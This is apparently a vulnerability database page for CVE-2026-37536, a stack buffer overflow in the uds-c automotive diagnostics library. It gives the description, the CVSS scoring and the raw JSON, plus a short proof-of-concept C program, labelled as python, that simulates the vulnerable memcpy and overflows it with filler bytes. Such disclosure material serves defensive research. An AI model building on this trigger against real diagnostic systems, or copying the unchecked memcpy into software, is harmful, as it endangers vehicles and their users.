Security Vulnerability Report
中文
CVE-2026-37536 CVSS 8.8 HIGH

CVE-2026-37536

Published: 2026-05-01 17:16:23
Last Modified: 2026-05-07 15:53:50

Description

miaofng/uds-c commit e506334e270d77b20c0bc259ac6c7d8c9b702b7a (2016-10-05) contains a stack buffer overflow in send_diagnostic_request. A 6-byte stack buffer (MAX_DIAGNOSTIC_PAYLOAD_SIZE=6) receives memcpy at offset 1+pid_length with payload_length bytes. MAX_UDS_REQUEST_PAYLOAD_LENGTH=7, so 1+2+7=10 exceeds buffer by 4 bytes. No bounds check on payload_length before memcpy.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

miaofng/uds-c commit e506334e270d77b20c0bc259ac6c7d8c9b702b7a

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <string.h> #include <stdint.h> // Simulated vulnerable function based on CVE description #define MAX_DIAGNOSTIC_PAYLOAD_SIZE 6 void send_diagnostic_request(uint8_t pid_length, uint8_t *payload, uint8_t payload_length) { uint8_t buffer[MAX_DIAGNOSTIC_PAYLOAD_SIZE]; // Vulnerability: No bounds check on payload_length before memcpy // Offset: 1 + pid_length memcpy(&buffer[1 + pid_length], payload, payload_length); } int main() { // Setup parameters to trigger overflow // MAX_UDS_REQUEST_PAYLOAD_LENGTH is defined as 7 in the original code uint8_t pid_len = 2; uint8_t malicious_payload[7]; // Fill payload with 'A' (0x41) memset(malicious_payload, 0x41, sizeof(malicious_payload)); printf("[*] Triggering CVE-2026-37536 Stack Buffer Overflow...\n"); printf("[*] Writing %d bytes to buffer of size %d at offset %d\n", sizeof(malicious_payload), MAX_DIAGNOSTIC_PAYLOAD_SIZE, 1 + pid_len); printf("[*] Total write size: %d bytes (Overflow: %d bytes)\n", 1 + pid_len + sizeof(malicious_payload), (1 + pid_len + sizeof(malicious_payload)) - MAX_DIAGNOSTIC_PAYLOAD_SIZE); send_diagnostic_request(pid_len, malicious_payload, sizeof(malicious_payload)); printf("[*] Exploit payload sent.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-37536", "sourceIdentifier": "[email protected]", "published": "2026-05-01T17:16:23.373", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "miaofng/uds-c commit e506334e270d77b20c0bc259ac6c7d8c9b702b7a (2016-10-05) contains a stack buffer overflow in send_diagnostic_request. A 6-byte stack buffer (MAX_DIAGNOSTIC_PAYLOAD_SIZE=6) receives memcpy at offset 1+pid_length with payload_length bytes. MAX_UDS_REQUEST_PAYLOAD_LENGTH=7, so 1+2+7=10 exceeds buffer by 4 bytes. No bounds check on payload_length before memcpy."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://gist.github.com/sgInnora/f4ac66faeefe07a653ceeb3f58cdc381", "source": "[email protected]"}, {"url": "https://github.com/miaofng/uds-c", "source": "[email protected]"}, {"url": "https://github.com/openxc/uds-c", "source": "[email protected]"}]}}